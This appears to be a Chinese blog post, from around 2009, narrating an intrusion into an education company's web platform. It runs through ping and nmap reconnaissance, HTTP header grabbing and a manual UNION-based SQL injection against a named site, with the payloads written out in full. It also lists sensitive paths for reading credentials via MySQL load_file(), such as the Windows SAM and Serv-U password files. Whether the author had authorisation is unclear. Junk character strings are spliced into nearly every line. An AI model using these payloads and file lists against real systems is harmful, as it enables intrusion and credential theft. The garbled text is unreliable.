题记:
% V3 d- v% Y! j1 B0 x! O& ?一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
% Q! a" h+ Z3 K& c; f第一步:获取需要的信息
: ~: ?+ B. n" p; I6 u' H8 w由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。: H5 T/ h+ X4 |2 M3 S6 ?0 d
注:以下为保护特用XXX代替敏感信息
3 I) O) l& Z6 }* X* b( D0 w' e. \1 g顺手先PING了一下他们的域名:
8 k, C' R ?, x- z/ m* n2 b+ h- Fping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
, \! ]/ n; f- p64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
6 f7 S; z2 s: m; N4 j g. H顺便了解一下TTL,学好基础知识才能一路顺风:+ H n( C% r& w1 B* {1 a# E
TTL:(Time To Live ) 生存时间
, y7 I+ k7 K6 y2 R, Z1 s/ p指定数据包被路由器丢弃之前允许通过的网段数量。
5 z8 A4 r p$ y w$ B' ^4 u- kTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。' y/ f$ W/ Q4 w; c7 ?* d
使用PING时涉及到的 ICMP 报文类型2 w* K3 M' c0 V6 @5 M& S
一个为ICMP请求回显(ICMP Echo Request)
" m$ O1 D: k* v. Y* r) p一个为ICMP回显应答(ICMP Echo Reply)
; q; C( L$ G( ?6 a7 R/ t/ v2 qTTL 字段值可以帮助我们识别操作系统类型。
6 x+ q* {9 `2 L& QUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255" t0 r) E1 n5 M9 @) t& W' g* [
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64' s8 p; ?; R3 Y0 b7 b. @8 P+ a/ ?
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
$ R5 j7 U* A; q E/ h+ d6 A微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* `2 b; }1 P a/ x当然,返回的TTL值是相同的- x$ v0 H% E$ D) j3 b' Q& b4 d6 |
但有些情况下有所特殊
" O6 z4 j. S' E# z; l" kLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
4 I0 Y) }4 T6 |# t% H0 HFreeBSD 4.1, 4.0, 3.4; \! A/ s- W/ a' u! |. D" ~% y" y6 I/ A
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
5 \9 ^8 N B/ Y+ NOpenBSD 2.6, 2.7,
N$ k0 t, m0 ANetBSD, k: U% p9 {1 A7 S1 c0 J
HP UX 10.20
( T( W; P) ~& J8 B. G( }4 MICMP 回显应答的 TTL 字段值为 2553 }7 A/ y$ X4 c
Windows 95/98/98SE+ _! f% \( u7 Y" y( X
Windows ME- I6 f( ^/ B" S: u
ICMP 回显应答的 TTL 字段值为 32
' y( ^& R! n3 b1 ~: u/ ^Windows NT4 WRKS
6 W/ S% a/ ^" Q+ M) j( {* MWindows NT4 Server
/ f* G, ?2 C( Y( y* \; V$ O- k& X3 ^Windows 2000/ r( P; d( s7 V9 @* D; a! s* ?
Windows XP- p9 D6 V# c' W* g4 Z6 S' r0 ^ o
ICMP 回显应答的 TTL 字段值为 1281 M3 @6 ]7 ]1 l$ T6 {- m6 Q
这样,我们就可以通过这种方法来辨别操作系统+ A& v% \! L3 ?6 e
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
0 I; V" ?% q( f% ~3 d9 [" B用NMAP扫描一下:6 A+ }1 [; d+ |* n( a3 Z! `
nmap -sT -O XXX.XXX.XXX.XXX
\+ e" g8 G/ l2 E0 H& q2 K" l如果没有装WinPcap则会弹出提示:
% V R6 }8 l( N s/ L( r; S4 U! Q- QWARNING: Could not import all necessary WinPcap functions. You may need to upgr
: |2 [2 a: e \; Tade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
5 ~0 ` I N& C# Q+ j, |) mode — Nmap may not function completely
* I1 \% q: v3 Z' E6 C# oTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
2 D6 E s3 l/ Y0 @and iphlpapi.dll be installed. You seem to be missing one or both of these. Win( Y* @) \/ w1 n9 K6 \
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
! f/ x1 I) m3 Nd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
$ | k5 J9 A5 w6 Q# |# X* uersions, you may be able to take iphlpapi.dll from another system and place it i
4 m; Q( f, z2 S6 ]/ A- b8 m& On your system32 dir (e.g. c:\windows\system32).' ^$ L, [- j8 n+ [( }
QUITTING!
5 O9 p& x" k' B到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 K3 v2 J* i0 y3 w4 Z安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:7 {" b) ~- o5 q
Interesting ports on XXX.XXX.XXX.XXX: p3 L$ H! t& U
Not shown: 986 closed ports
# v8 Z3 C4 T2 e) m4 rPORT STATE SERVICE6 Z4 _/ e( K) B
21/tcp open ftp
) [6 S; o: X$ ?22/tcp open ssh
( Z+ A) z4 c" @' p3 `: t$ D23/tcp open telnet
) M$ ] R. k( G/ z0 u80/tcp open http
% ~; j0 P/ _* `' B: f5 y- \111/tcp open rpcbind
) K x: N2 E4 I4 p. E7 E7 B: {3 q135/tcp filtered msrpc
; F: b/ w: n5 Z+ }+ m139/tcp filtered netbios-ssn8 `# Q- S/ l4 N! D6 K, K
445/tcp filtered microsoft-ds, |) J& T" W" W( Z' ]3 ~' G% Z
513/tcp open login
) Y( b5 s+ Q! r; l, T& _514/tcp open shell! a7 @: @) T6 a
593/tcp filtered http-rpc-epmap" I5 U. v( H/ V4 W( J1 O% ]% I% c4 [
1720/tcp filtered H.323/Q.9316 E/ m0 I& j8 Z! I, D
3306/tcp open mysql2 x( @7 k( G- d; ^ N2 ^8 A* Q
4444/tcp filtered krb524
! j. B* Q) q! L" |Device type: WAP! H$ Y' k6 |$ ?
Running: Linux 2.4.X7 O0 V8 q- l' \/ t
OS details: DD-WRT (Linux 2.4.35s)/ D! z3 Y' N [1 y# l
Network Distance: 13 hops" p1 ]- p! F3 A1 H0 q& Z/ M
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:) e# q+ T: }" ]9 n3 L- @
login as:# I1 w! p7 N; L6 I- A
Telnet23端口也是开着的,用telnet 命令链接一下:
0 I1 O1 s: D6 J, mtelnet XXX.XXX.XXX.XXX
- K: Q& i4 A$ A! C' O提示:- F. y; L- _. Z2 B
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
$ F; S5 l( a/ IKernel 2.6.18-92.el5PAE on an i686( q: H0 t8 i# S; I e
login:
! h. v( {3 `, L3 |' M% J获取HTTP头信息:
1 S; _2 j2 y' k* x4 q9 y3 O' m在本地执行如下PHP代码
" \1 k! t3 r$ N5 d2 c1 F. q* A<?php
8 M9 V" q8 `. j9 f8 K' v4 {$url = ‘XXX.XXX.XXX.XXX’;
u0 i8 t, s/ A* E- ~; bprint_r(get_headers($url));
/ R5 ~+ W- i* F( c8 ^print_r(get_headers($url, 1));! v R$ B0 ~" P7 B$ o
?>' m; n* Z; K4 ]7 U
将以上代码保存为PHP文件,执行:) e5 e- A, B: ?+ z0 D( V
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 I9 x; q9 d/ ~+ b" y现在可以得出结论:3 {2 v$ h- w' c* h# @9 a1 R
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)0 V" Q. Z, {# p0 G. z" u
内核版本:Kernel 2.6.18-92.el5PAE on an i686
3 j; y% w# @2 \) b: |- o& t3 mWEB服务器版本:nginx/0.7.61
6 j( m1 C- d1 y$ p第二步,开始测试寻找漏洞; e- Z3 f# ~; H' Y
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
( n# T+ z1 t+ Q$ [: _& w& v1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
$ z" d) A2 y6 D9 O q' E2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
6 O- P7 M" l% {) W2 g% h# z. Thttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
7 J- q* y. ]- S8 ~6 g6 Thttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
/ f4 E2 m) m$ W- D6 i3 {' R$ M恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续7 d% ^6 d$ x) M
3、手工注入:% j. j: Q) l) \- x [. E9 D
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。4 J$ ?; h, ^; w: d4 S( @: \" L9 q
3.1 猜测当前表字段数! E" @* ~, u/ S2 C- F
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
; [, i4 X2 @ `! Y此处猜测有个简单的算法,都是有技巧的吗,呵呵
: H0 Q9 Z; J- }' m3 A7 X8 G- M: I算法简单如下:, T( I4 P0 F8 q6 d
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;& H1 }, @/ \; W6 d* P" g1 G
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;0 n( S) M7 y" T8 R" R* v! J* W
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。2 P+ m8 b6 S% Q1 M2 n% {7 x1 I2 ?
以此来判断,是否过界,配合取中算法猜出字段数。 ?1 u2 g( [! g @* ~* Y# G
举例:
. l v! A# {# S# mhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常1 M% F. P7 r& p, }
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误1 i6 m7 z U ^% a$ G. Y
此时3则为我们要找的字段数。
; u0 r+ ]5 j& C* b- D4 [0 l" Z3.2 配合union联合查询字段在页面所位置 P( R( z8 ?" R: V! E2 ]
我们已经知道了字段数为3,此时则可以做如下操作:
4 y. P. Q+ `: {2 X3 z3 d B; yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
9 s1 X. N* r) K0 G+ D3 `
! B" `* p2 }+ J( N5 K* q+ \这样就可以测试到哪些字段在页面上有所显示了,如图:
( T5 R* E6 F/ G# F; h( L- H' f! D$ a/ \) m7 V1 O2 d1 A
3.3 查敏感信息
4 v# H0 C# y3 w# P0 _这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。- \$ B4 o6 I# t `+ v
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()0 M" F+ e$ ^( y7 {! I& i
3.3.1 先查数据库用户、数据库名,以备后用,如图:) D: X% A1 f* a
: j! E$ b0 F" S* [8 z7 F得到数据库用户为root、数据库名为DBxx;
6 Q( r x; {/ U1 S5 E3.3.2 查配置文件5 F' i" v& k. X1 @) r: U0 u
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
2 Y; |6 i5 C7 G' {查看文件有一定的条件限制:8 L8 o4 d9 d K/ I4 a9 ]
欲读取文件必须在服务器上
) J6 W& m; {5 j6 P o必须指定文件完整的路径( h! W+ J0 \2 p
必须有权限读取并且文件必须完全可读
5 D1 h5 \6 W. _欲读取文件必须小于 max_allowed_packet
! _ H" [9 F6 v+ U2 HMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。9 i7 e0 \) Z, ^4 S- E
常用的一些:
, K* U+ H3 C0 I& F- }/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
; @0 `0 Q' f/ C; c C/usr/local/apache2/conf/httpd.conf
/ ?" Z; D( N) Y" g# @6 X5 u* z/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
$ g, q! G: ?6 J1 o) P' E- s) k/usr/local/app/php5/lib/php.ini //PHP相关设置# p) `# v: v$ X2 m
/etc/sysconfig/iptables //从中得到防火墙规则策略
7 A; F; p2 C- N$ U, A) X+ n+ ~/etc/httpd/conf/httpd.conf // apache配置文件! ]: r$ x. n$ ^* R( C
/etc/rsyncd.conf //同步程序配置文件
9 K' n* l4 r* M9 ~( ? r/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
3 u; u, @5 b5 d/ ^% ?+ R( l. I/etc/my.cnf //mysql的配置文件 d5 B9 |" Y; u; G" L
/etc/redhat-release //系统版本% {8 F5 \7 ~" ?- B9 T* g
/etc/issue+ l5 F0 T7 f- K
/etc/issue.net
; A0 p8 W8 f k" w8 t, s! Ec:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码3 o* n! B# S" I( q4 n) G
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
4 M# I0 ], ~- cc:\Program Files\Serv-U\ServUDaemon.ini
% r& Z1 K9 l$ x T) s Bc:\windows\my.ini //MYSQL配置文件5 C. J" @( T. e; Z. d4 I9 q
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件$ n# E$ J/ [ l8 r
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件," X) N! T. e% g
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
0 J: U! E, g+ Z( mc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: P! _9 i, S; i- V2 z/ X9 `8 W/ o
c:\Program Files\RhinoSoft.com\ServUDaemon.exe: ?$ y' m# O2 `: ?, x5 i
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件8 C" ^3 ^, e b
//存储了pcAnywhere的登陆密码
, S2 z( Z" \) v5 G由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
8 }& S9 O" K U" M这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。- ?, p1 N2 }: M, p4 A
最后:防范措施) p( _/ R, [0 [3 v8 m& J2 m6 e
1、修复PHP注入漏洞;* I$ i. |& z( I, `
2、Mysql使用普通权限的用户;- u3 V' F5 B! f* J
3、升级linux内核至最新版本; |